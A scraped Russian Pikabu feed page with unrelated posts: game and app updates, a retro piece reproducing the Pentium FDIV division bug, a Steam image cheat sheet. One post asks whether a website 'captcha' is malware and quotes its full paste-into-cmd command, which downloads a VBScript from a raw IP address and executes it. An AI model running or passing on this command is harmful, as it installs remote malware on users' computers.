51

Текстовый бот-бродилка в телеграме [часть №10]

Всем привет! Давно не виделись!

© картинка самосбор

© картинка самосбор

мы продолжаем развивать нашу текстовую бродилку в телеграм. В этом обновлении мы взяли курс на рефакторинг и описание предыстории нашего главного героя.

Поиграться можно вот тут: Roomer_bot
Группа по игре находится тут: strangebunkers

* в группе я чаще всего на связи, потому с вопросами и предложениями, если нужен шустрый ответ, лучше - туда

А теперь - что же у нас изменилось?
Много чего :

  • увеличено количество комнат 82 -> 85

  • переработана игровая механика в части комнат

  • улучшена визуальная составляющая для некоторых комнат

  • исправлены недочеты и множественные ошибки

  • улучшены существующие комнаты и их логика/награды

  • добавили комнату с банком, где можно будет подзаработать, ну или прогореть. Кто этих банкиров разберет :)

  • перевели все боевые комнаты на новую логику, теперь у нас есть однотипные и понятные логи боя со всеми монстрами

  • ввели новый класс

  • у нас начался новогодний ивент ! Игроки уже соревнуются за крутые призы!

  • боссы тоже стали частью новой логики

  • появились комнаты, прохождение которых, раскроет секреты - почему игрок оказался в бункерах и кем он был до всего этого!

  • добавили комнату где игроки могут отметить из какого города они играют, а после лицезреть свою метку на карте - на сайте проекта. В будущем будут квесты по локациям(Москва, Новосибирск, Питер ... . )

Немного по технической части:

  • провели глобальный рефакторинг кода, сократили и упростили кодовую базу, сохранив функциональность

  • обработали и исправили сетевые ошибки, мешающие игрокам

  • нас уже более 3900+ человек


    В ближайшем будущем нас ждут: новые монстры для newbie & high-level игроков, новые профессии, новые сеты, новая локация с надоедливыми мобами(🏞), новые квесты и многое другое


    Увидимся в одном из бункеров! :)

Показать полностью 1
364

Иногда компьютеры ошибаются. Воспроизводим тот самый баг на $475 000 000

Приветствую всех!
Знаю: тема багов, которые изменили мир, избита уже настолько, что на ней не осталось живого места. Но сейчас мы не будем просто говорить о самых выдающихся таких случаях. Сейчас мы затронем лишь один из них: ту самую ошибку в процессоре Pentium. И не просто поговорим обо всём этом, а ещё и продемонстрируем её на реальной машине.

Итак, сегодня мы разберёмся, что же это был за баг в данном теперь уже ретро-процессоре. Узнаем, как он проявлялся, как его воспроизвести и, конечно же, увидим вживую, как всё это работало.

❯ Суть такова

Думаю, все вы не раз (думаю, даже тут) читали посты про самые сокрушительные ошибки в истории ЭВМ. Одной из них неизменно значится предмет нашей сегодняшней статьи: Intel Pentium и его ошибка деления. Суть её была довольно проста: на некоторых комбинациях чисел с плавающей запятой сопроцессор «пенька» при делении выдавал неверное значение. Этих самых комбинаций было не так уж и много, поэтому обнаружили проблему не сразу, однако после выяснения обстоятельств стало ясно, что пренебрегать дефектом нельзя.

Концом истории случился массовый отзыв дефектных чипов и многомиллионные убытки на их бесплатную замену. Работники Intel в назидание получили вот такой сувенир, где под слоем эпоксидки покоился кристалл того самого процессора. Хотя этот просчёт сам по себе никого не убил и ничего не уничтожил, удар по репутации был сокрушительным (хотя, конечно, и не фатальным).

И вот, прочитав не так давно об этом в очередной раз, я захотел показать самое интересное: то, как данная проблема вообще проявлялась и насколько реально было простому пользователю с ней столкнуться.

По традиции вставлю неизменную для таких статей картинку с тем самым процессором.

Это Intel Pentium A80501-66, некоторые спецификации (S-spec) которого имели эту ошибку. Конкретно на фото представлен SX837, у которого данный нюанс присутствует.

Далеко не все «пеньки» имеют данный дефект. Более того, даже у вышеупомянутой модели у некоторых экземпляров (например, SX950) данный баг отсутствует.

❯ Чуть-чуть про деление в Pentium

Вообще, данная тема также хорошо описана, а описание того, как устроено и как работает деление в микропроцессорах, и вовсе потянет на ещё одну статью, с пеньками никак не связанную.

Но кое-что всё-таки стоит упомянуть. Причиной данного глюка являлся переход на более быстрый алгоритм деления (SRT, названный по именам создателей — Sweeney, Robertson, Tocher) вместо shift-substract, использовавшегося в более старых сопроцессорах. Алгоритм этот использует в своей работе таблицу поиска на основе делимого и делителя. В Pentium использовалась реализация SRT-4 (Radix 4), где ячейки таблицы могли принимать одно из пяти значений: -2, -1, 0, +1 и +2. Это должно было значительно упростить вычисления, так как такое решение позволяет выбирать частное, ориентируясь только на старшие биты делимого и делителя, а скорректировать результат уже потом. Также данный алгоритм позволял обрабатывать несколько бит за один такт, что также повышало скорость. Именно в этой таблице поиска и была проблема: некоторые её ячейки были пусты.

Сама таблица была реализована в виде программируемой логической матрицы.

Такое решение было сделано из-за куда большей простоты по сравнению с ПЗУ. Поэтому под пустыми ячейками тут понимаются не оставшиеся незаписанными участки памяти, а ошибочно не предусмотренные в нужных местах транзисторы. На самом деле число таких битых участков в таблице было вовсе не 5, как говорят в большинстве источников, а 16, однако 11 из них не вызывали неверный результат. Это и была та самая аппаратная ошибка, приводившая к сбоям. Была ли причиной опечатка в программе, генерировавшей данную таблицу, или математическая ошибка разработчиков Intel, теперь уже неведомо.

Как оказалось, существует очень крутая серия постов, описывающая то, как реализована данная матрица в Pentium и где именно в ней кроются дефекты. Поэтому не буду повторяться в описаниях, как вообще это устроено, лучше сразу ознакомиться с оригиналом по ссылке.

Ну а мы переходим к опытам.

❯ Обзор оборудования

Чтобы воспроизвести данный баг, необходим компьютер и два процессора Pentium — обычный и дефектный.

За основу для ПК возьмём материнку A-Trend ATC-1000 на чипсете i430FX «Triton», как раз одном из первых чипсетов для процессоров Pentium. Само собой, поддержка нужных нам процессоров здесь тоже в наличии. Ещё круче было бы взять плату с Socket 4 или 5, но у меня такой пока нет.

PCI видеокарта SiS 6202, первая из попавшихся под руку карт.

Самый важный элемент машины — пенёк.

Это Pentium A80502-100 на 100 МГц. Позолоченный, керамический, приятно тяжёлый. Круче него из x86-процессоров, наверное, только Pentium Pro. Достался мне этот камень ещё лет десять назад, будучи вытащенным из процессорной платы от некоего брендового сервера на платформе Intel Xpress Server LX, кажется, HP NetServer LM. Сама плата (а, может, и материнка) оказалась в нерабочем состоянии, оживить её я в своё время не смог и в итоге продал весь этот комплект какому-то другому любителю ретроПК.

Смотрим, что там по характеристикам. FDIV bug, как и положено, в наличии.

Второй процессор, на этот раз намного более поздний и данной ошибки в себе не содержащий.

На всякий случай напомню, что у Pentium разных поколений разное напряжение питания, поэтому, перетыкая процессоры без перестановки перемычек на материнской плате, вы рискуете поджарить свой камень.

Также, само собой, понадобится и другая периферия: клавиатура с мышью, жёсткий диск (на который я уже успел накатить Windows 98), две планки памяти по 16 МБ, AT блок питания.

❯ Запускаем

Ну что же, собираем тестовый стенд и включаем БП.

А вот и наша Windows 98.

Также видны наши характеристики — 32 мегабайта ОЗУ и тот самый процессор Pentium. В данный момент тут вставлен самый обычный пень, данного недостатка лишённый.

❯ Как же это работает?

Перейдём непосредственно к проверке.

Открываем стандартный калькулятор Windows. Да-да, даже в этом простом приложении можно без труда воспроизвести данный глюк.

Теперь переключаем его в инженерный режим и вводим туда следующее выражение:

(4195835 / 3145727) * 3145727 — 4195835

Объяснить код с

На нормальном процессоре результатом его выполнения должен быть ноль.

Его-то мы и наблюдаем.

Выключаем компьютер. Время устанавливать золотой пень.

Загружаемся и снова пробуем вычислить данное выражение.

На этот раз мы получаем неверный ответ -256. Это и есть влияние данного бага.

Чуть менее наглядно его можно воспроизвести, если просто поделить между собой эти два числа и получить неверный ответ.

❯ Что же в итоге?

На самом деле далеко не все числа делились неправильно. Здесь представлена только одна из довольно немногочисленных пар, которые при делении давали неверный результат. Поэтому во многих задачах вероятность встретить его была довольно невелика. Впрочем, в этом-то и заключалась подлость такой ошибки, поскольку обнаружить такой «плавающий» дефект может быть очень непросто.

Итоги мы все хорошо знаем — Intel была вынуждена сдаться, а все, кому была важна точность вычислений, получили возможность бесплатно заменить дефектные процессоры. Сейчас экземпляр с таким багом представляет неплохую коллекционную ценность.
Такие дела.

❯ Ссылки

  1. Computational Aspects of the Pentium Affair

  2. Intel Pentium FDIV bug reverse engineered

  3. Pentium FDIV bug

  4. How Intel makes sure the FDIV bug never happens again

  5. Intel's $475 million error: the silicon behind the Pentium division bug


Автор текста: MaFrance351

Написано при поддержке Timeweb Cloud

Больше интересных статей и новостей в нашем блоге на Хабре и телеграм-канале

Реклама ООО «ТАЙМВЭБ.КЛАУД», ИНН: 7810945525

Показать полностью 19
468

Теперь телефон напомнит, когда колоть кота

Серия Хроники разработки diabnostic

Привет, друзья!

Помните, как вы просили добавить напоминания об уколах и измерениях? Готово!

Какие напоминания? Вроде и так вовремя кормят...

Какие напоминания? Вроде и так вовремя кормят...

Для тех, кто не в курсе что тут происходит

Это продолжение серии постов про Diabnostic — бесплатное приложение для владельцев питомцев с диабетом. Веду дневник глюкозы, инсулина, веса; строю графики; теперь ещё и напоминания.

Началось с моей кошки Манишки — 13 лет, диабет, два укола в день. Захотел нормальный инструмент вместо экселя, сделал, выложил для всех. Предыдущие посты можно найти у меня в профиле.

Что нового

Теперь Diabnostic умеет присылать push-уведомления прямо в браузер — даже когда приложение закрыто.

Можно настроить напоминания для каждого питомца отдельно:

  • Глюкоза — не забыть измерить сахар

  • Инсулин — время укола

  • Вес — контрольное взвешивание

  • Давление — для тех, кому актуально

  • Своё напоминание — что угодно, хоть "дать вкусняшку"

Выбираете время, отмечаете нужные дни недели — и всё. Приложение само напомнит.

Примерно так и будут выглядеть напоминания. Спама от них не будет - только то, что вы настроите сами.

Примерно так и будут выглядеть напоминания. Спама от них не будет - только то, что вы настроите сами.

Как это работает

При первом открытии настроек напоминаний в профиле питомца браузер спросит разрешение на уведомления. Соглашаетесь — и готово. Есть кнопка "Тестовое уведомление", чтобы проверить, что всё дошло.

Напоминания приходят по вашему местному времени. Живёте в Новосибирске и поставили напоминание на 8:00 — оно придёт в 8:00 по Новосибирску.

Зачем это нужно

Когда у питомца диабет, жизнь превращается в расписание: укол в 8, укол в 20, измерение перед едой, измерение через два часа... Первые недели держишь всё в голове, потом неизбежно что-то забываешь. Особенно если сам болеешь или просто устал.

Моя Манишка на инсулине уже 2 месяца. Бывало — заработаюсь и спохвачусь: "А я покормил или нет?" Теперь телефон пикает, и вопросов не возникает.

Кстати, можно теперь заметки добавлять и в записи глюкозы/веса

Добавление напоминаний с главного экрана и редактирование записей

Если интересно немного статистики за месяц — о ней я писал в предыдущем посте. Там правда можно позалипать =)

Пойду спать к подружке. Для этого напоминаний не нужно

Пойду спать к подружке. Для этого напоминаний не нужно

P.S. Пикабу решил, что я слишком коммерческий, так что теперь плачу за возможность рассказывать про котиков. Пришлось пойти на их условия.


Просьба та же: если пользуетесь и что-то неудобно — напишите.

📱 Приложение (всё так же бесплатное!): https://diabnostic.ru
💬 Поддержка: https://t.me/diabnostic_support
💡 Предложить идею: https://voice.diabnostic.online
📢 Канал с обновлениями: https://t.me/diabnostic

Показать полностью 5
49

Моя игра теперь в Steam!

Наконец-то дошел до этого этапа, теперь моя игра доступна в магазине Steam.
Добавляйте в список желаемого!
Выживай в хаосе bullet-heaven экшена: дави орды врагов, собирай безумные билды и переживай катаклизмы, которые меняют правила прямо по ходу боя.

https://store.steampowered.com/app/4256570/Forecast_Death/

https://t.me/chabreckdev

Моя игра теперь в Steam!
174

Новая капча или вирусняк?

Дорогие уважаемые знатоки, подскажите пожалуйста что за шляпа. При переходе на сайт интернет магазина выводится вот такая интересная капча:

Новая капча или вирусняк?

Ну как бы предлагают открыть командную строку (называя ее окном проверки), вставить туда кое что и запустить. Само кое что выглядит так:

cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://78.40.209.164:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%wk.vbs" && "%temp%wk.vbs"

Но туда же можно подсунуть что угодно, что будет выполнено на компе. Это реально капча или шляпа какая то? Какой сумрачный гений такое придумал? Ладно светофоры или мотоциклы искать, писать всякую ересь, крутить котиков, но в командную строку пихать всякое разное это как то перебор.

Показать полностью 1
28

Изображения в Steam: шпаргалка для разработчиков

Качественные изображения в стиме — это не только украшение, но и рабочий инструмент для привлечения аудитории.

Если теги (как мы обсуждали ранее) помогают автору найти своего игрока, то графика убеждает его остановиться, рассмотреть вашу страницу и купить игру.

В этой шпаргалке — собраны обязательные требования и практические рекомендации при подготовке капсулы в Steam.

Капсула (Верхняя)

Где используется: верх страницы игры, рекомендации, Big Picture и предложения дня.
Ключевые требования: высококачественный арт, показывающий особенность игры.
Ограничения: нельзя использовать лишний текст, рейтинги, акционные надписи.
Размер (в пикселях): 920x430


Капсула (маленькая)

Где используется: результаты поиска, списки лидеров продаж или списки популярных новинок.
Ключевые требования: максимально читаемый логотип, заполняющий большую часть площади.
Ограничения: нет, но лучше избегать маленьких лолго и незаметного текста.
Размер (в пикселях): 462x174


Капсула (основная)

Где используется: главная карусель на домашней странице Steam (популярное и рекомендуемое).
Ключевые требования: требования такие же, как и к верхней капсуле.
Ограничения: нельзя указывать никакой дополнительной информации, только название игры.
Размер (в пикселях): 1232x706


Капсула (вертикальная)

Где используется: главная страница во время сезонных распродаж. Ниже популярного и рекомендуемого.
Ключевые требования: в идеале использовать вертикальную версия основного арта.
Ограничения: логотип не должен сливаться с фоном, лучше избегать лишнего текста.
Размер (в пикселях): 748x896


Скриншоты

Где используется: на страничке игры под трейлером. В разделе новинок показывают первые четыре скриншота.
Ключевые требования: важно показать геймплей, уникальные механики и интерфейс. Высокое качество.
Ограничения: лучше не делать скрины из видео, а также не использовать концепт-арты.
Размер (в пикселях): 1920x1080


Фон страницы

Где используется: на страничке игры под трейлером. В разделе новинок показывают первые четыре скриншота.
Ключевые требования: фоновое изображение. Если его не загрузить — фон сгенерируют из последнего скриншота.
Ограничения: нет, но лучше использовать неброское изображение, которое не будет отвлекать игрока.
Размер (в пикселях): 1438x810


Изображение для набора

Где используется: для страницы набора (DLC, бандла, подарочного издания).
Ключевые требования: должна соответствовать фирменному стилю. Подойдёт арт для розничной упаковки.
Ограничения: нет, но лучше использовать качественное изображение.
Размер (в пикселях): 707x232

Пускай будет у вас перед глазами. Пользуйтесь)

Показать полностью 8
Отличная работа, все прочитано!

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества